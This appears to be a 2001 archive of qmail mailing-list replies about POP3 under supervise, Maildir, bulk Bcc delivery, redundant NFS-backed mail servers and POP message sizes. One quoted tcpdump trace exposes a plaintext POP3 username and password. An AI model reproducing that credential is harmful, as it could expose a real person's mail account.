it you probably need to rebuild and reinstall the program. I don't really know whether LWQ does this in the standard way. I have no inetd running. tcpserver is working fine. The problem is that the program it wants to run (qmail-smtpd) is not running for some reason. Regards.
Re: qmail-pop3d and supervise
On Sat, Apr 14, 2001 at 01:38:03PM -0400, Rehan Zaidi wrote: Hi, folks. Thanks to the mailing list archives, I've been able to configure qmail-pop3d to run under supervise...almost. I have one remaining problem: I still get "Connection refused" when I telnet to port 110. These are the processes running on the system: $ ps -ax | grep qmail 160 ?S 0:00 supervise qmail-send 163 ?S 0:29 supervise qmail-smtpd 166 ?S 0:32 supervise qmail-pop3d 167 ?S 0:00 qmail-send 169 ?S 0:00 /usr/local/bin/multilog t s250 /var/log/qmail/qma 657 ?S 0:00 splogger qmail 658 ?S 0:00 qmail-lspawn ./Mailbox 659 ?S 0:00 qmail-rspawn 660 ?S 0:00 qmail-clean What is the output of: $ ps -ax | grep tcp When I telnet to port 110, I get: telnet: Unable to connect to remote host: Connection refused That tells us that tcpserver probably isn't running which means that the run script is probably not running or runnable. But if I stop the qmail-pop3d and then start it from the command line using the following command, I can connect: /usr/bin/tcpserver -v -R 0 pop-3 /var/qmail/bin/qmail-popup myhost \ /usr/local/bin/checkvpw /var/qmail/bin/qmail-pop3d Maildir This is the same thing as I have in the /var/qmail/supervise/qmail-pop3d/run script... Is that script readable, executable? What is the output of: $ ls -l /var/qmail/supervise/qmail-pop3d/run Also, rather then showing us the tcpserver command, much more instructive would be a cat of the run file, so show us the output of: $ cat /var/qmail/supervise/qmail-pop3d/run Regards.
Re: Maildir file naming convention
On Wed, Mar 28, 2001 at 09:52:58AM -0600, Charles Cazabon wrote: The right way to do it is clearly spelled out at: http://cr.yp.to/proto/maildir.html That's true. It's necessary for all agents to use the same rules to prevent collisions. Ok as far as it goes, but.. The format is listed as follows, -rw--- 1 subba users 3599 Mar 28 07:32 985764747.20966_23.myhost:2,S -rw--- 1 subba users28883 Mar 28 01:55 __XE,5RUw6.myhost:2,S The first one is correct. The second one does not follow djb's rules for naming the file. If procmail wrote it, your version of procmail is broken. I disagree. To quote from the webpage: "A unique name can be anything that doesn't contain a colon (or slash) and doesn't start with a dot.". On that basis, the procmail filename is fine. Sure the webpage goes on to *suggest* one method for generating unique names, but there is no suggestion that that is the only way. One could argue that procmail is being smart by ensuring that the unique namespace it uses can only possibly collide with itself. How are these random names generated? Anyway the MDA wants. The primary requirement is that it be unique. You should not infer any meaning beyond uniqueness for everything before the colon. Is this name generation the property of MUA such as mutt also? I thought it was the domain of MDAs. Well, mutt lives within the rules of Maildir by only appending the :info data to the filename rather than generating new filenames (postponed messages notwithstanding). Regards.
Re: faster than bcc
On Wed, Mar 28, 2001 at 12:47:25PM -0800, Brett wrote: I remember reading that the fastest way to send one email to a large number of people is through bcc. Well, the fact that it's Bcc: vs To: is not important wrt speed. The reason for Bcc: over To: is to ensure that the recipient list isn't visible to the recipients. That might have privacy implications and it will certain have mail size implications with a million recipients! This was helpful to me because I'm not able to use a mailing list since the addresses I send to will be pulled dynamically from a database which is always changing. But somehow, populating the Bcc: field with a million names seems like it might not be the best idea to me. I understand qmail deletes this field before sending the message out but I'm more concerned with whether or not it will be making efficient use of the queue. The performance gain comes from sending one mail with lots of recipients. Those recipients traditionally are placed on Bcc: lines. Is the queue even used for one message sent to numerous people or is it only used for separate messages? Both. The queue is *always* involved. However, one message with lots of recipients creates much less work than lots of messages with one recipient each - that's the key. If there's a better method than Bcc:-ing everyone, I'm very open to hearing it. Not particularly. Some suggest usig qmail-queue directly (which qmail-inject calls), but the interface is more difficult and the cost saving is too small to measure for a large recipient list. One suggestion I got but which I can't get to work is: cat list.txt | xargs qmail-inject -a message.txt where list.txt is a list of addresses. Is this faster than Bcc: anyway? Any help much appreciated. In what way can't you get it to work? I would not use the xargs approach as that makes the recipients visible and it is also less efficient than this: ( sed 's/^/Bcc: /' list.txt;cat message.txt ) | qmail-inject Finally, make sure that message.txt has header lines, such as From: and Subject: and make sure that there is an empty line between the headers and the message text! Regards.
Re: Delivered Messages staying in queue
On Mon, Mar 26, 2001 at 03:49:15PM -0800, Bill Crowley wrote: Hi, It seems that delivered messages as staying in the queue. 7 days later queue mail is giving up "I'm not going to try again; this message has been in the queue too long." I know that 99% of these messages have been delivered successfully so I am not sure why they are not purging from the queue. If it's a single email to multiple recipients, then qmail will not delete the message until 100% of the messages have been delivered successfully. Any help would be appreciated. Show the list examples of what you means, especially useful is the output from qmail-qread Regards.
Re: Delivered Messages staying in queue
On Mon, Mar 26, 2001 at 07:17:13PM -0500, Nick (Keith) Fish wrote: Peter van Dijk wrote: qmail-queue doesn't run as root. It runs as user qmailq. What group this user is in, or what his homedir is, doesn't matter. Permissions on the binary are relevant indeed. Greetz, Peter. Odd. Why do I have a set-root-bit on my qmail-queue binary with an owner of qmailq, then? I understand that it runs as user qmailq; but it runs with root's permissions, correct? I have not modified it from the installation put in place by the tarball. There is no such thing as a set-root-bit. There is a setuid bit, and a setgid bit... their name deescribes their purpose. Regards.
Re: redundant mail servers
On Fri, Mar 23, 2001 at 08:09:01PM +0100, Vincent Schonau wrote: On Fri, Mar 23, 2001 at 11:01:51AM -0500, Russell Nelson wrote: Gopi Sundaram writes: I'm reluctant to move to Maildir until we can get more MUAs to support them (specifically Pine and Netscape). Wrong idea. Never expose your mailboxes to your users. Always use a virtual mailbox system -- either pop3 or imap. Why? Flexibility. I have seem way too many mail systems start life as a single box with a single disk grow into a multi-server setup. Build in as much flexibility as you can from the start and you'll never regret it. It costs nothing but a little thinking. For example: if you only allow network access you can use load balancing and DNS changes to move services around transparently. By using network services you enable access by a much larger class of client programs. By using network access you can transparently change mailbox formats and server software. Regards.
Re: Connection unexpectedly terminated
On Thu, Mar 22, 2001 at 04:43:09PM -0600, Carey Jung wrote: Hi, We have a sporadic problem with qmail hanging and eventually timing out when popping certain messages. tcpdump shows that qmail is apparently not handling the RETR command properly (see below). Everything is fine until it "OK"'s the RETR command from the client, but then it immediately follows that with a FIN packet, terminating the connection. Who sends the FIN? The client or the server? If we move the offending hung message out of the Maildir/new directory, then the client is able to pop the remaining messages. If we put it back, send/receive stalls again. We can not see anything out of the ordinary in the message itself, and, in fact, we are able to fetch it from other clients. Sounds like a client bug. There are plenty of them? What's the client OS, what's the client program? I've certainly seen plenty of clients gag on unusual content. Regards. Has anyone seen this before? Why is qmail-pop3d/tcpserver terminating the connection without sending the mail to the client? tcpdump output -- client server: S 1646064:1646064(0) server client: S 2361285140:2361285140(0) ack 1646065 client server: . 1:1(0) ack 1 server client: P 1:46(45) ack 1 (+OK [EMAIL PROTECTED]) client server: P 1:15(14) ack 46(user cmunson) server client: . 46:46(0) ack 15(ack) server client: P 46:52(6) ack 15(+OK ) client server: P 15:29(14) ack 52 (pass cm2ns0n) server client: P 52:58(6) ack 29(+OK ) client server: P 29:35(6) ack 58(STAT) server client: P 58:74(16) ack 35 (+OK 31 4646947) client server: P 35:41(6) ack 74(UIDL) server client: P 74:80(6) ack 41(+OK ) server client: P 80:616(536) ack 41 (UIDL data...) server client: P 616:1073(457) ack 41 (more UIDL data...) client server: . 41:41(0) ack 616 (ack) client server: . 41:41(0) ack 1073 (ack) server client: P 1073:1332(259) ack 41(remaining UIDL data...) client server: P 41:50(9) ack 1332 (RETR 31) server client: P 1332:1338(6) ack 50(+OK ) server client: F 1338:1338(0) ack 50 (close connection) client server: . 50:50(0) ack 1339(ack) client server: F 50:50(0) ack 1339(close connection) server client: . 1339:1339(0) ack 51 (ack) environment: --- - qmail 1.0.3, w/tcpserver, vpopmail, etc. - Outlook 2000 client. Also seen it once with Eudora.
Re: redundant mail servers
There will be 2 mail servers, mail1 and mail2 Any email that is received by mail1 should automatically be forwarded to mail2, and any email that is received by mail2 should be forwarded to mail1. The only exception to the rule is when they receive messages from each other. Thus a user can check their email via IMAP or (shudder) POP from Why shudder? POP is by far the most reliable service of the two and much simpler and supported by more clients. either mail1 or mail2. If either server goes down, the other one should be receiving messages. The moment the server comes back up, it should receive all the messages that the other received during the down time. Is this a good way of providing redundancy? Or am I better off with a different mechanism? This is not a very good mechanism particularly. First off, when they delete an email on mail1, how will the copy on mail2 get deleted? Second off, it seems that the user will have to know whether mail1 or mail2 is the server that is available. That's not very user friendly. Can qmail be configured this way? It can, but I doubt anyone will recommend such a setup. The typical solution is to put the mailboxes of the users onto a single, very reliable, piece of hardware (made reliable by redundancy or high quality componentry or both), then use as many front-end servers as needed to handle your redundancy requirements, load and budget. Remember, if the mailboxes are in Maildir format, they can safely be shared across NFS. A simple configuration might be: 1. A single high-availability NFS server - pick something that supports RAID and has parts that can be replaced quickly and easily. This doesn't have to be something expensive like a Netapp - though they are good for this. It could be something cheap like an Intel BSD as long as you have spares on the shelf. Don't use Linux for NFS serving - my experience is that it's too buggy. Any of the other free Unixen will do the job - pick the one you know best. Spend as much money on this box as you can. 2. A number of front end SMTP and POP servers. These front-end servers mount the mailboxes from the NFS server. These front-end servers don't need a lot of disk - just enough for the mailq. Any of the free Unixen will do for this - pick the one you know best. 3. Use the DNS (or a load balancer if you have more money, but I note the .edu address) to present these multiple front-end servers as a single name/address to your user community. I recommend something like smtp.yourdomain and pop.yourdomain. Since I have never set up qmail before, detailed explanations would be appreciated. It's not really specific to qmail, but Maildir makes this a much more viable solution compared to the locking and performance nightmares associated with V7 mbox format used by sendmail and mail.local. Regards.
Re: redundant mail servers
On Wed, Mar 21, 2001 at 10:58:06AM -0500, Gopi Sundaram wrote: On 21 Mar 2001, Mark Delany wrote (quoting me): Thus a user can check their email via IMAP or (shudder) POP from Why shudder? POP is by far the most reliable service of the two and much simpler and supported by more clients. http://www.imap.org/papers/imap.vs.pop.brief.html Right. My question remains. Why "shudder"? This article is 6 years old and written by an IMAP proponent. Here's a couple of observations: POP has turned out not be used mainly for "offline" mail processing. The "offline vs online" model is largely dead these days. Terry summarizes with: "its (IMAPs) additional complexity over POP should not be a significant barrier to use." I can't see how you shudder at POP on that basis. I agree that IMAP is functionally richer, but that's about the only thing going for it. Remember, if the mailboxes are in Maildir format, they can safely be shared across NFS. A simple configuration might be: I'm reluctant to move to Maildir until we can get more MUAs to support them (specifically Pine and Netscape). Are you talking about people who log into a shell or access via POP and IMAP? If the latter, Maildir is transparent. If the former, you never mentioned this, rather critical point. I've heard that the maildir format may have scalability issues because of the number of files that it deals with (bunches of open(), read() and stat() calls). Is there any truth to this? This is tiresome FUD. I can create a scenario that makes mbox look bad just as easily as a scenario that makes Maildir look bad. Consider whether the FUD applies to your scenario, not some imagined one created by a marketeer (and yes geeks are just as guilty of marketing with FUD as the more traditional salesdroid). Regards.
Re: redundant mail servers
On Wed, Mar 21, 2001 at 12:41:27PM -0500, Gopi Sundaram wrote: On Wed, 21 Mar 2001, Peter van Dijk wrote (quoting me): http://www.imap.org/papers/imap.vs.pop.brief.html And what is your *own* opinion? I prefer POP because IMAP makes users leave mail on server, amongst others. That is one of the reasons why I prefer IMAP. I don't like leaving my email lying on the various machines that I check my email from. There POP does this too, if you choose. are several other reasons, but are irrelevent to this discussion, which follows: Uh. You are confused. Are you providing pop+imap or shell services? Both. And we have people that run Netscape on the mail server. That's what we have. What is *really big* ? One of the aforementioned people had a 200MB mbox (which almost constantly crashed Netscape, and It's not the size of the mailbox so much as the number of mails in the mailbox. Depending on the file system, anything more than about 2-3,000 mails in a single mailbox will start to slow down a fair amount. made Pine loop forever). I'm guessing that that won't be a problem if converted to maildir. I also read Mark Delany's post that dismisses my fears of scalability of the maildir format. The point is that very few Maildirs reach the size where they fail completely, on some file systems they just get very slow due to the linear structure of the directory. Do an experiment: run one of those mbox-to-maildir convert programs (from www.qmail.org) on your 200MB mailbox - load it into a Maildir and aim mutt at it and tell us what happens. Tell us how it compares to pine loading it from mbox. Then delete one of the mails and exit. Tells us how mutt performs and tell us how pine performs. In fact do all your normal user interactions on each mailbox type and share your results with us. To do this experiment, all you need do is install mutt and download a perl script. Surely a small price to pay to get some certainty for yourself. Ideally, I would like mail to still be delivered to /var/mail/ in Why do you want it in /var/mail particularly, apart from the fact that you're used to it being there? If you're building a box from scratch that is only a network service, I don't see where this requirement comes from. whatever format, as long as I can get POP/IMAP servers to support it. Then users can read their email from NFS mounted spools when on our network, and via IMAP from anywhere else. mbox is woeful across NFS. Try your 200MB mbox on an NFS server for a while and draw your own conclusions. Remember that each open of an mbox requires reading the whole mailbox and scanning from "From " lines - all 200MB of it across the network. Opening a Maildir requires reading the directory of the Maildir which is typically much smaller. The idea of NFS mounting Maildir wasn't so that command line people could get at it, it's so that other network service servers can share it. If people are using pine and netscape then can't both of these programs be configured to acess a POP/IMAP server? In which case they have no need to see the physical file structure. Once you move them off the physical file structure onto a network service, you have *much* greater flexibility. I guess if I use the maildir format, setting up redundant mailservers becomes easy. Here's my understanding: * equal priority MX records for two servers. * both servers running qmail, mail stored in an NFS mounted spool dir. * One or more servers that run IMAP/POP services that people can connect to (perhaps through one alias - mail.domain) Have I got it right? Indeed. Regards.
Re: handling bounces
You can use VERP without using ezmlm. Checkout QMAILINJECT=r as discussed in the qmail-inject manpage. Regards. On Wed, Mar 21, 2001 at 12:33:18PM -0800, Brett wrote: In qmail-inject, I'm Bcc-ing a LOT of people. What's the best method for handling bounces? I want to be able to extract a list of addresses into a file and deal with them later. I can't use ezmlm mainly because this Bcc list needs to be able to change on the fly (i.e. I can't just setup a static mailing list with ezmlm and have the bounce unsubscription automated through that since there's no such thing as a static mailing list in this situation). I've searched the usual places but can't find too much helpful info on this. Any help is appreciated, thanks.
Re: heavy traffic on port 25
On Wed, Mar 21, 2001 at 11:30:26PM +0100, Krzysztof Wychowalek wrote: Dear friends, I have a server running Qmail as as MTA and about 300 mail accounts. I realized that I'm experiencing huge amount of incoming traffic to the port 25, it's like 1 MB per minute, so it slows down my Internet connection dramatically. This is only incoming traffic, both outgoing SMTP and POP3 is not more than 10-20 kB per minute. But this big amount of data doesn't go to the users' mailboxes. It goes... nowhere? I have no idea what it is actually. Even is someone would use my server as an open relay, the amount of incoming and outgoing SMTP packages would be more or less the same. If someone has any idea, I would be very grateful for sending them to me (priv). Thanks in advance. What do the logs say? Mail doesn't just "go nowhere". Regards.
Re: qmail large usuage
On Tue, Mar 20, 2001 at 11:31:37PM +0100, Peter van Dijk wrote: On Wed, Mar 21, 2001 at 08:32:29AM +1100, [EMAIL PROTECTED] wrote: Hi, we do a mailout of about 40,000 - 50,000 emails per day to our clients and there clients (not spam). I have been trying to get qmail to work on getting up and over the 250 limitation of simulataneous connections. We are running hp netserver pIII 833 with 1 gig ram, the mail queue is running on raid 0. So I am sure we have the hardware to do it. I have a dual PIII-550 with 1 gig, queue on a dedicated scsi-disk. It sends out a mailinglist to the first 10.000 recipients in just over 3 minutes, with concurrencyremote set to 256. So you should have no trouble at all :) My guess is that PeterM is sending unique emails, perhaps tailored TV programs? My second guess is that PeterD is sending a single untailored email to many recipients. Regards.
Re: Control files
On Mon, Mar 19, 2001 at 01:22:30PM -0800, Brad Dameron wrote: Is there a better description of what each file does in the /var/qmail/control directory? Better than what exactly? Better than "man qmail-control" which identifies all control files and the relevant program in turn each have an individual manpage which precisely descibes the use of each control file? Regards.
Re: qmail-pop* and interface link
On Thu, Mar 15, 2001 at 05:23:19PM +, Subba Rao wrote: I have qmail-popup and qmail-pop3d running on my system. Is it possible to dedicate this service to selected interfaces only? If it can be done, could you please point me to that URL? Read up on tcpserver. That's the program that actually listens on the interface. And yes, it can do it. Regards.
Re: qmail reusing msg numbers - is this normal ?
On Wed, Mar 14, 2001 at 01:14:43PM +, Greg Cope wrote: Dear All I.e msg no 325819 has been reused twice. Everything appears ok - is this something to worry about ? No. It's entirely normal. The msg number is the inode. inodes get reused by Unix when a file is deleted. Regards.
Re: no local delivery???
On Wed, Mar 14, 2001 at 10:27:14AM -0800, George Georgalis wrote: On Wed, Mar 14, 2001 at 01:38:07AM +, Mark Delany wrote: The output of qmail-showctl will tell you (and us) a lot more. that's what I like about qmail, so many programs to do just what you need! Just need to learn them now. I guess is that you have worldsite.ws in /var/qmail/control/me and something other than this domain in /var/qmail/control/locals You guessed right. Do I need to restart or HUP when I change these? You're best bet is to read the qmail-control manpage which leads you to which programs are affected by what control files and when/how they notice changes. What's the best way to stop qmail? kill qmail-send? Again, man qmail-send is your friend. Regards.
Re: How to interpret the Delivered-To: header
On Tue, Mar 13, 2001 at 08:46:19AM -0600, Charles Cazabon wrote: Norbert Bollow [EMAIL PROTECTED] wrote: How do you interpret the Delivered-To: header [...] [...] Note: in the following, '**CENSORED**' replaces the localpart of If you want answers, don't hide the evidence that we may need to find them. You don't know the answer; that's why you're asking us -- so don't tell us what information we do and do not need to find your answer for you. Indeed. I always find it amusing that people have a problem they cannot solve, yet they know precisely what information is needed to solve it. Funny people. Regards.
Re: How to interpret the Delivered-To: header
Well, there are very good reasons for avoiding to publicly post personal data about a subscriber to an infertility support group. Fine. If it needs to remain confidential, buy support from someone identified on www.qmail.org and have them sign an NDA. Problem solved. If you pay for support - they abide by your terms. If you want free support then we ask you to abide by our terms. That's not asking too much is it? Anyway, if no one can answer the question based on the information which I have shared (which is very likely all the relevant data) If you want to guess what we need then be my guest to guess away at your solution, just don't ask us to guess. Regards.
Re: no local delivery???
The output of qmail-showctl will tell you (and us) a lot more. I guess is that you have worldsite.ws in /var/qmail/control/me and something other than this domain in /var/qmail/control/locals Western Somoa huh? I had a lot of fun trying to register a domain there, oh, 8 years ago. Regards. On Tue, Mar 13, 2001 at 05:22:14PM -0800, George Georgalis wrote: Hi, I'm installing qmail on LAN box and have not yet disabled sendmail. When I run either of these commands echo to: nonexistent | /var/qmail/bin/qmail-inject echo to: georgeg | /var/qmail/bin/qmail-inject mail goes through an external smtp. Why? I don't recall specifying the IP (or it's name) for any service... sendmail, uses different "smart" relay. Shouldn't qmail-inject drop into a local account? I've tried running ./config-fast with my box name (noe) and the domain I'll masq as (WorldSite.WS), with the same results. I'm also curious how WorldSite.WS got in the log; it's right but I don't recall specifying it... Mar 13 16:42:34 noe qmail: 984530554.069492 new msg 44712 Mar 13 16:42:34 noe qmail: 984530554.069728 info msg 44712: bytes 203 from [EMAIL PROTECTED] qp 3743 uid 500 Mar 13 16:42:34 noe qmail: 984530554.075204 starting delivery 7: msg 44712 to remote [EMAIL PROTECTED] Mar 13 16:42:34 noe qmail: 984530554.075384 status: local 0/10 remote 1/20 Mar 13 16:42:34 noe qmail: 984530554.544747 delivery 7: success: 216.35.187.251_accepted_message./Remote_host_said:_250_2.0.0_f2E0gXd13122_Message_accepted_for_delivery/ Mar 13 16:42:34 noe qmail: 984530554.544936 status: local 0/10 remote 0/20 Mar 13 16:42:34 noe qmail: 984530554.544989 end msg 44712 Thanks! // George -- George Georgalis, System Administrator http://WorldSite.WS Global Domains International 701 Palomar Airport Rd, Suite 300 Carlsbad, CA 92009 U.S.A. Phone: 760.602.3000 Fax: 760.602.3099
Re: qmail-pop3d bug
A more sensible strategy might be to introduce a new "info" flag (say '3' equals POP wire size) on the filename, eg, a 10,000 byte email has a name something like this: Maildir/new/980195114.16740.geex:2,RS3,1 From reading URL:http://cr.yp.to/proto/maildir.html, it is not clear to me that this would be the proper format for such an 'info' extension. I would worry that MUAs and other software dealing with maildir (scripts!) would expect info semantics in the 2, series to be at the end of the filenames. Indeed, and given that "info is morally equivalent to the Status field used by mbox readers" I suspect that the my suggested syntax is beyond the original intent. Optimally the wire-size is calculated when the mail is written to Maildir/tmp/ and then applied as an "info" flag when the file is moved to Maildir/new/. A possible complication with this approach is that my reading of Maildir infers that "info" can only be set when the file moves from Maildir/new/ to Maildir/cur/. No, this is not what that document says. It says "When you move a file from new to cur, you have to change it's name [...]" You stopped quoting before the most important part! Here's the complete sentence. "When you move a file from new to cur, you have to change its name from uniq to uniq:info." To me that implies that a file in new cannot have an "info" section. You *have* to change the name when the file move from new/ to cur/ , but there is no specification of other cases; in fact, lots of MUA's will change info when the file has been in cur/ for a while: mutt, for example, moves the file from new/ to cur/, adds :2, and only modifies that to be 2,S after the user has read the message (it is no longer 'N'ew). Right, but that's my point. To specify another case. Regards.
Re: Please help!!!
On Mon, Mar 12, 2001 at 01:52:00AM -0800, Sean Coyle wrote: Also, Another good thing to note: I was having a serious problem with qMail delivering mail to end users, however, mail was being stored in the queue (this was quite some time ago now). I had made a few changes to a crontab entry the day earlier, however; everything was seemingly running normally with qMail. Anyway, it turns out that I was running an INTENCE CRON job every single second, Are you sure about that? All the crons I've seen only let you run a job at most, once per minute. How did you get cron to run something once per second? If the job runs at most once per minute, it's hard to imagine how it would consume all available resources such that qmail stopped delivering. (Of course it's not impossible, but just unlikely: a job that runs for an hour that is started once per minute may well have a serious resource impact). Just an example of how a completely unrelated system event can alter the performance of other items... (hrrmmm chaos mathematics anyone?) Most likely the problem is much simpler and more directly related. As the earlier poster suggested a systematic process of elimination is the best approach. Regards.
Re: qmail-pop3d bug
On Sat, Mar 10, 2001 at 01:12:13PM -0500, John R Levine wrote: The usual mailbox vs. maildir war has flared up on inet-access, and points out a bug in qmail-pop3d. When you do a LIST command, it gives you the size of each message. Pop3d just reports the file sizes, while it's clear from the RFC that it's supposed to report the wire size of each message, i.e., the size using cr/lf as a line terminator, so the sizes it reports are too small. I gather nobody's ever reported this as a bug, and I expect that the only thing that uses the size is the "don't download bigger than size X" option for which it's close enough, but it's still wrong. If I mis-remember correctly, qpopper may have a similar problem in that the stated size does not necessarily match the size sent down the wire. How so? Because qpopper adds X-UIDL and Status: headers to the out-going message (perhaps it includes this in the size calc but I haven't looked at the code in such a long time, or perhaps it only adds those headers when the mail is re-written). I use courier-imap, and its POP daemon does get the sizes right, presumably by reading the files and adding the number of \n characters. A more sensible strategy might be to introduce a new "info" flag (say '3' equals POP wire size) on the filename, eg, a 10,000 byte email has a name something like this: Maildir/new/980195114.16740.geex:2,RS3,1 Optimally the wire-size is calculated when the mail is written to Maildir/tmp/ and then applied as an "info" flag when the file is moved to Maildir/new/. A possible complication with this approach is that my reading of Maildir infers that "info" can only be set when the file moves from Maildir/new/ to Maildir/cur/. Regards.
Re: qmail-pop3d bug
Yes. This behaviour is known. Fixing it, however, involves a *huge* performance downgrade of qmail-pop3d. Not if it's calculated as the file is written to the Maildir. 'Usually, during the AUTHORIZATION state of the POP3 session, the POP3 server can calculate the size of each message in octets when it opens the maildrop. . simply counts each occurance of this character in a message as two octets.' Typical of those RFCs authors that, consciously or otherwise, used a single implementation to guide much of their thinking on protocol design. POP3 is not the only standard that suffers as a consequence - consider SMTP and DNS? We shouldn't have to live with short-sightedness forever. Regards.
Re: qmail-pop3d bug
On Sun, Mar 11, 2001 at 06:05:47PM -0500, John R. Levine wrote: Putting the linecount in there makes more sense. Some MUAs might be happy about that, and it still allows easy calculation of wiresize (add number of lines to physical size). More info, less bytes :) Optimally the wire-size is calculated when the mail is written to Maildir/tmp/ and then applied as an "info" flag when the file is moved to Maildir/new/. Yes. Mind the performance penalty tho. Not a bad idea. Agreed. Line count is probably a more useful number as the other values can be derived. I retract my POPsize suggestion in favour of line count. The performance penalty would be tiny, reading buffers that are about to be written out won't cause an extra page fault. I also agree that it's an acceptable CP cost to scan a buffer just prior to writing. CP is cheap and plentiful on most qmail systems. A possible complication with this approach is that my reading of Maildir infers that "info" can only be set when the file moves from Maildir/new/ to Maildir/cur/. That's what the spec says, indeed. A delivery process is not supposed to know anything, so :info is not needed in new/. Gee, we find that even Dan isn't infallible. In retrospect, there's all sorts of hints that the delivery process could leave. Yep. And it probably wouldn't be too hard to change the standard though I note that, eg, mutt totally ignores any existing "info" values. But I'm willing to bet that they will change code if they see a good reason and they will be especially interested in a change that lets them know line count without scanning. Regards.
Re: [Fwd: Administrivia: Mailing List Software]
On Sat, Mar 10, 2001 at 11:49:08PM +0100, Andre Oppermann wrote: Hey guys, lets make this poor man happy and let us all tell him about how well qmail/ezmlm works! This guy is Elias Levy (aleph1) and he runs the Bugtraq mailing list. Please send an email directly to him if you want to suggest qmail/ezmlm for running a large mailing list with a secure piece of software. And he also is sick of handling bounces... Whilst bounce processing is indeed a sale point for ezmlm, much of what Elias wants is above and beyond ezmlm. For example categorization and subscription by category. Sure you can (painfully) make a sublist for each category, as long as they don't invent and rename categories on the fly. Elias also talks about an emulation layer for LISTSERV. I've not heard of anyone providing that for ezmlm. This is not to under-rate ezmlm, as a base toolkit it would perform admirably, but the BUGTRAQ dood wants a lot of value-adds that are not part of ezmlm. Regards.
Re: pop3d needs SUID root?
On Fri, Mar 09, 2001 at 11:26:58PM +, Ricardo Cerqueira wrote: On Fri, Mar 09, 2001 at 03:06:08PM -0800, Todd A. Jacobs wrote: When running pop3d, I get an error saying "no $HOME/Maildir" which may be caused by the directory permissions of 0700 on both the home directory and Maildir. On Red Hat, procmail is the MDA, and is SUID/SGID root. Other than making pop3d run as root, what are my options? If I chmod the directories, what's qmail-pop3d IS supposed to run as root. From LWQ: Nope. tcpserver -v -R 0 pop3 /var/qmail/bin/qmail-popup FQDN \ /bin/checkpassword /var/qmail/bin/qmail-pop3d Maildir 21 | \ /var/qmail/bin/splogger pop3d tcpserver runs as root, qmail-popup inherits root, checkpassword inherits root but changes to the uid/gid of the user that successfully logged in, pop3d inherits the uid/gid that checkpassword changed to. Getting back to the very confusing question. What has procmail setuidness got to do with pop3d? On the permissions front you forgot to mention the owner of $HOME/Maildir. Is it owned by the user? It should be. Finally, if you have procmail delivering to the users $HOME/Maildir then it does not need to be setuid root. Regards.
Re: pop3d needs SUID root?
On Fri, Mar 09, 2001 at 03:33:17PM -0800, Aaron L. Meehan wrote: Quoting Todd A. Jacobs ([EMAIL PROTECTED]): When running pop3d, I get an error saying "no $HOME/Maildir" which may be caused by the directory permissions of 0700 on both the home directory and Maildir. qmail-pop3d is run as root by tcpserver, which is running as root. No suid bit is needed. qmail-pop3d switches to the userid of the user whose mail it is retrieving. Nope. checkpassword does the switch, qmail-pop3d runs as whatever user it inherits. So, you'll need to start believing that message--qmail-pop3d can't find the user's Maildir. Wise words indeed. Your tcpserver's command line may be goofed up. Should look something like: Also check: 1. Does the user have a $HOME/Maildir 2. Does the user have access to this dir (could be owned by root) Regards.
Re: running qmail from /supervise
is svscan. For example, here's my /service directory on my server: axfrdns dnscache ftpd msql2dqmail rsyncdsshd bray etrn httpd pop3d qmtpd smtpd tinydns Most of these are obvious. "bray" is not a service name but instead the name of a friend who needs to have a tcpservice running on a non-root port. So I do this: #!/bin/sh exec setuidgid bray tcpserver -HRl0 0 2379 ~bray/bin/server Nothing wrong with this, but just as an alternative thought, nothing stops users running their own svscan. I have a ~/service and guess how the per-user svscans are started... Regards.
Re: Qmail and time zone
On Sun, Mar 04, 2001 at 09:43:28AM -0500, Kari Suomela wrote: Sunday March 04 2001 05:36, Mark Delany wrote to Kari Suomela: MD As others have said, qmail only puts a Date: header in if one MD isn't MD already present, That's probably what it should be doing, except it's not doing it right. According to which particular standard? The Date header should include the TZ, i.e. GMT offset. According to which particular standard? Btw. Personal preference does not count as a standard. Regards.
Re: New qmail version request
On Fri, Mar 02, 2001 at 10:14:20PM -0600, Charles Cazabon wrote: Mark Delany [EMAIL PROTECTED] wrote: But why does qmail have to be patched to use LDAP? Why not use a script which extracts user information from the LDAP database, puts it in passwd format, and feeds it to qmail-pw2u? Then cron it every hour or something. Voila, Better yet, why not make a replacement qmail-getpw? That's how I built an LDAP-aware qmail a couple of years ago. But if the LDAP query fails in qmail-getpw-ldap, you have to either defer or bounce. Sure. But there's nothing wrong with a deferral. If deferrals are a problem for qmail-getpw-ldap, I'd pursue a more reliable LDAP service. Remember that the LDAP service is most likely also used to authenticate your POP users and they'll what authentication to be reliable well before qmail cares about a few deferrals. In any event what I was really getting at was merely the modularity that a qmail-getpw plugin can provide. Regards.
Re: Qmail and time zone
On Sat, Mar 03, 2001 at 11:28:30PM -0500, Kari Suomela wrote: Thursday March 01 2001 22:41, David Dyer-Bennet wrote to All: No, it's not! That's how I noticed it. Someone was blaming my client for it, but the problem is the same with all of them. I have tested it with various Netscapes, Outlook 98, Outlook 2000, Outlook Express, PMMail Pro 2000, Sqwebmail and Adjewebmail. DB That's because you didn't use a client which adjusts header DB timestamps, though. I am not talking about clients! Mail generated on a qmail server doesn't have proper date headers, whereas mail coming from a sendmail server does. Er, what do you mean by "proper date headers" and how are you sure you definition of "proper date headers" isn't being met by qmail? I suspect what is happening is that qmail is creating Date: headers that are UTC based and you are used to seeing Date: headers in your local time zone. Are you sure that what qmail is doing is incorrect or is it's possible that it's legal according to the standards, but just that it's different from what you want? If it's legal according to the standards, but differs from what you expect, what's your problem exactly? As others have said, qmail only puts a Date: header in if one isn't already present, so you can easily override the default by using a program that puts in a Date: field. Regards.
Re: New qmail version request
On Fri, Mar 02, 2001 at 05:17:01PM -0600, Charles Cazabon wrote: Chris Garrigues [EMAIL PROTECTED] wrote: Much of the common patches that are around fail in one of the tests above, at least when using the author's stringent tests. There's nothing wrong with this; he keeps qmail secure, reliable, efficient, and "correct", and anyone who wants to applies patches as they see fit. I, for one, am hoping that 2.0 will have LDAP support which meets his standards. As you said, the existing LDAP libraries are probably crap. But why does qmail have to be patched to use LDAP? Why not use a script which extracts user information from the LDAP database, puts it in passwd format, and feeds it to qmail-pw2u? Then cron it every hour or something. Voila, Better yet, why not make a replacement qmail-getpw? That's how I built an LDAP-aware qmail a couple of years ago. One problem with replacing qmail-getpw is that the domain isn't know. which is a problem for multi-domain systems, so I modified qmail-lspawn to pass the domain to qmail-getpw. The code is no big deal, but I'm hopeful DJB will consider the idea in a future release as it increases the ease with which alternative user databases can be supported in an unmodified qmail. Regards.
Re: Lost the Battle
